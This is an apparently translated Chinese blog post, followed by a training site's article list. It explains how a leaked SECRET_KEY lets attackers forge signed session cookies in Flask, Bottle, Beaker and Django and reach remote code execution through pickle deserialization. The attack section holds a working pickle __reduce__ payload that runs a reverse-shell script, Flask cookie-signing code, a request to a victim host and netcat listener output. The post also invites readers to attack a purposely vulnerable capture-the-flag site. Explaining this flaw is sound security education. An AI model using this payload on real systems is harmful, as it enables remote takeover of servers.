
對于Python的框架中一些會話程序的管理
Django, Bottle, Flask,等所有的python web框架都需要配置一個SECRET_KEY。文檔通常推薦我們使用隨機的值,但我很難發現他有任何文字說明,因為這樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可以使用SECRET_KEY偽造cookies,csrf token然后使用管理員工具。不過這很難做到,不過他可以搞一些小破壞,比如執行惡意代碼。這也是我下面將要介紹的。
記得以前使用PHP找到一個可以讀服務器上任意文件的bug(不包含本地文件),你將會被迫選擇遠程執行代碼(RCE)。你就需要審查大部分的app資源文件來找到其他的bugs或者有用的信息(比如說用戶密碼,或者數據庫信息等)。在這個情況下,我們能說PHP是更安全的嗎?
在攻擊一個Python網站框架的時候,知道你設置的SECRET_KEY字段的攻擊者,能夠簡單的將LFR攻擊升級到RCE攻擊。我(作者)是從攻擊一系列的網站框架之后得出如上結論的。在這些網站框架中,都有雷同的,使用Pickle作為將經過簽名的Cookie序列化的方式。
在Flask框架中,Flask在config['SECRET_KEY']被賦予某個值,session_cookie_name(default='session')存在于cookie中的時候,將Cookie反序列化,甚至在沒有session的情況下。(這樣多么好,攻擊者可以僅僅通過向config file添加SECRET_KEY的方式制造后門,并且,天真的用戶將認為這非常'重要')
從 werkzeug library 里面提取出來的反序列方法是這樣的:
def unserialize(cls, string, secret_key):
if isinstance(string, unicode):
string = string.encode('utf-8', 'replace')
try:
base64_hash, data = string.split('?', 1)
except (ValueError, IndexError):
items = ()
else:
items = {}
mac = hmac(secret_key, None, cls.hash_method)
# -- snip ---
try:
client_hash = base64_hash.decode('base64')
except Exception:
items = client_hash = None
if items is not None and safe_str_cmp(client_hash, mac.digest()):
try:
for key, value in items.iteritems():
items[key] = cls.unquote(value)
except UnquoteError:
# -- snip --
else:
items = ()
return cls(items, secret_key, False)
反序列方法檢查簽名,然后在簽名正確的情況下unquote()cookie的值。unquote()方法看起來非常無辜,但是事實上,這是一個默認的pickle.
#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
# -- snip --
if cls.quote_base64:
value = value.decode('base64')
if cls.serialization_method is not None:
value = cls.serialization_method.loads(value)
return value
# -- snip --
Bottle: 在默認的bottle設定中時沒有真正的secret key的,但是也許有人想要用signed cookie的功能來加密他自己的cookie.
讓我們來看看代碼是怎么樣的:
def get_cookie(self, key, default=None, secret=None):
value = self.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret) # (key, value) tuple or None
return dec[1] if dec and dec[0] == key else default
return value or default
當這個密鑰被展現出來的時候,并且在cookie中還有其他數值的時候,cookie_decode 方法被調用:
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
return pickle.loads(base64.b64decode(msg))
return None
再次,我們看到了Pickle !
Beaker 的session:(任何服務都可以在session上使用beaker的中間件,bottle框架甚至推薦這么做) Beaker.Session 具有很多功能,并且這可能被混淆: 這里面有三個密鑰 secret_key, validate_key, encrypted_key)
encrypt_key: 加密cookie信息,然后要么向客戶端發送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中儲存。如果沒有設定encrypt_key,那么cookie不會被加密,只會被base64編碼。當有encrypt_key的時候,cookie會被用encrypted_key, validate_key(可選)和一個隨機值用AES方法加密。
validate_key: 用來給加密的cookie簽名
secret:在用File mode時候給cookie簽名(我不知道為什么他們不就用一個validate_key就好了!)
當然,當有人對文件擁有讀的權限的時候,他/她理所當然知道所有的字段。然而,File mode使得攻擊不得能因為我們對已經序列化的數據并沒有控制權,例如,當這些數據儲存在本地硬盤上的時候。在Cookie mode,攻擊就能夠成立,即便cookie被編碼了(因為我們知道怎么encrypt,哈哈)。你也許會問,那個隨機參數是不可知的,你們沒辦法攻擊,幸運的是這個隨機參數也是cookie存數的session數據的一部分,因此,我們可以將其替代為任何我們需要的值。
下面是他們構造session數據的代碼
def _encrypt_data(self, session_data=None):
"""Serialize, encipher, and base64 the session dict"""
session_data = session_data or self.copy()
if self.encrypt_key:
nonce = b64encode(os.urandom(6))[:8]
encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
self.validate_key + nonce, 1)
data = util.pickle.dumps(session_data, 2)
return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
else:
data = util.pickle.dumps(session_data, 2)
return b64encode(data)
我們明顯的看到這些數據的處理存在風險。
Django: 最知名也是在Python語言中最復雜的一個服務器框架。而且,沒錯,Django的開發者們在Cookie Session上放置了一個蠻不錯的警告。以我之鄙見,這個警告不夠,而應該被替換成'致命'或者是'警示',并且標上紅色。
Django的Session是咋么工作的呢?我們能夠從Django的文檔中輕易的找到可閱讀的答案:總而言之,Django給了session 3個可以設定的項目:db,file以及signed_cookie。再一次,我們只對signed_cookie產生興趣,因為我們可以輕松的改變它。如果SESSION_ENGINE被設定為“django.contrib.sessions.backends.signed_cookies“,我們就確定signed_cookie是背用于session的管理。
有趣的是,如果我們在request cookie里面構造一個sessionid,它總是會被反序列化。Django也給了我們一個cookie是如何被簽名的好實例。這讓我們的工作輕松多了。
我們的攻擊
我們還沒有討論我們如何攻擊(有些你可能已經知道了)!感謝您的耐心看到最后,我寫它在最后是因為攻擊手段充滿共性,而且簡單(是的,原則性的知識)。
在這里,我們可以讀取任何文件。要找到Python應用程序的配置文件并不難,因為到處有導入(import)。當我們獲得的密鑰時,我們可以簡單的實現(或重復使用)簽署web框架的cookie,并使用我們的惡意代碼。 因為它們使用的是pickle.loads()反序列化的時候,我們的使用pickle.dumps()保存惡意代碼。
piclke.dump()和loads()通常在處理整數,字符串,數列,哈希,字典類型的時候是安全的....但是他在處理一些惡意構造的數據類型的時候就不安全了!事實上,攻擊者可以通過構造的數據類型來達到執行任意Python代碼的目的。我寫了一段不錯的小程序來吧Python代碼轉換成Pickle序列化的對象。我們應該從connback.py開始閱讀(這實際上是一個反向鏈接的shell),然后我們將誘使對方網站來用Pickle方法將其序列化。如果有人執行了pickle.loads(payload),那么我們的反向鏈接shell就會被激活。
code = b64(open('connback.py').read())
class ex(object):
def __reduce__(self):
return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())
現在我們簽名(適用于flask web框架):
def send_flask(key, payload):
data = 'id='+b64(payload)
mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
然后發送
print requests.get('http://victim/', cookies={'session':s})
在另外一個終端里:
danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$
還有啥?
-所以怎樣?只要你不知道我的secret_key我就是安全的!可以啊,你可以這樣....但是和宣稱:"我把我的鑰匙放在房頂上,我知道你爬不上來..."沒啥區別。
-好的, 所以如果我不用這種session cookie,我就安全了!沒錯,在小型的web app上,將session 儲存在文件里面更安全(如果放在DB里面,我們還面臨SQL Injection的危險)。但是如果是大型web app,然后你有個分布式的存儲方式,這將導致嚴重的效率問題。
-那咋辦?也許我們應該讓那些web框架不要用piclke來序列化?我不知道是否存在這種框架,如果有的話就好了。PHP更安全嗎?事實上不是如此
最后:
Web.Py,當我查看他們的web session文檔的時候我發現:CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL
所以,干得好:D ,也許所有人都應該這樣做。你們應該去試試web.py和其他框架。
我做了這些,如果你想要讓它奏效你也可以花點時間上去。
作為一個禮物,這個網站是有這個漏洞的,讓我們看看你們是不是能夠把lfr bug升級成為一個rce,然后你們會找到真正的禮物:一個flag...
更新:有漏洞的網站的源碼放在github上了,它的secret_key已經不一樣了。
數據分析咨詢請掃描二維碼
若不方便掃碼,搜微信號:CDAshujufenxi
2025 年,數據如同數字時代的 DNA,編碼著人類社會的未來圖景,驅動著商業時代的運轉。從全球互聯網用戶每天產生的2.5億TB數據, ...
2025-05-27CDA數據分析師證書考試體系(更新于2025年05月22日)
2025-05-26解碼數據基因:從數字敏感度到邏輯思維 每當看到超市貨架上商品的排列變化,你是否會聯想到背后的銷售數據波動?三年前在零售行 ...
2025-05-23在本文中,我們將探討 AI 為何能夠加速數據分析、如何在每個步驟中實現數據分析自動化以及使用哪些工具。 數據分析中的AI是什么 ...
2025-05-20當數據遇見人生:我的第一個分析項目 記得三年前接手第一個數據分析項目時,我面對Excel里密密麻麻的銷售數據手足無措。那些跳動 ...
2025-05-20在數字化運營的時代,企業每天都在產生海量數據:用戶點擊行為、商品銷售記錄、廣告投放反饋…… 這些數據就像散落的拼圖,而相 ...
2025-05-19在當今數字化營銷時代,小紅書作為國內領先的社交電商平臺,其銷售數據蘊含著巨大的商業價值。通過對小紅書銷售數據的深入分析, ...
2025-05-16Excel作為最常用的數據分析工具,有沒有什么工具可以幫助我們快速地使用excel表格,只要輕松幾步甚至輸入幾項指令就能搞定呢? ...
2025-05-15數據,如同無形的燃料,驅動著現代社會的運轉。從全球互聯網用戶每天產生的2.5億TB數據,到制造業的傳感器、金融交易 ...
2025-05-15大數據是什么_數據分析師培訓 其實,現在的大數據指的并不僅僅是海量數據,更準確而言是對大數據分析的方法。傳統的數 ...
2025-05-14CDA持證人簡介: 萬木,CDA L1持證人,某電商中廠BI工程師 ,5年數據經驗1年BI內訓師,高級數據分析師,擁有豐富的行業經驗。 ...
2025-05-13CDA持證人簡介: 王明月 ,CDA 數據分析師二級持證人,2年數據產品工作經驗,管理學博士在讀。 學習入口:https://edu.cda.cn/g ...
2025-05-12CDA持證人簡介: 楊貞璽 ,CDA一級持證人,鄭州大學情報學碩士研究生,某上市公司數據分析師。 學習入口:https://edu.cda.cn/g ...
2025-05-09CDA持證人簡介 程靖 CDA會員大咖,暢銷書《小白學產品》作者,13年頂級互聯網公司產品經理相關經驗,曾在百度、美團、阿里等 ...
2025-05-07相信很多做數據分析的小伙伴,都接到過一些高階的數據分析需求,實現的過程需要用到一些數據獲取,數據清洗轉換,建模方法等,這 ...
2025-05-06以下的文章內容來源于劉靜老師的專欄,如果您想閱讀專欄《10大業務分析模型突破業務瓶頸》,點擊下方鏈接 https://edu.cda.cn/g ...
2025-04-30CDA持證人簡介: 邱立峰 CDA 數據分析師二級持證人,數字化轉型專家,數據治理專家,高級數據分析師,擁有豐富的行業經驗。 ...
2025-04-29CDA持證人簡介: 程靖 CDA會員大咖,暢銷書《小白學產品》作者,13年頂級互聯網公司產品經理相關經驗,曾在百度,美團,阿里等 ...
2025-04-28CDA持證人簡介: 居瑜 ,CDA一級持證人國企財務經理,13年財務管理運營經驗,在數據分析就業和實踐經驗方面有著豐富的積累和經 ...
2025-04-27數據分析在當今信息時代發揮著重要作用。單因素方差分析(One-Way ANOVA)是一種關鍵的統計方法,用于比較三個或更多獨立樣本組 ...
2025-04-25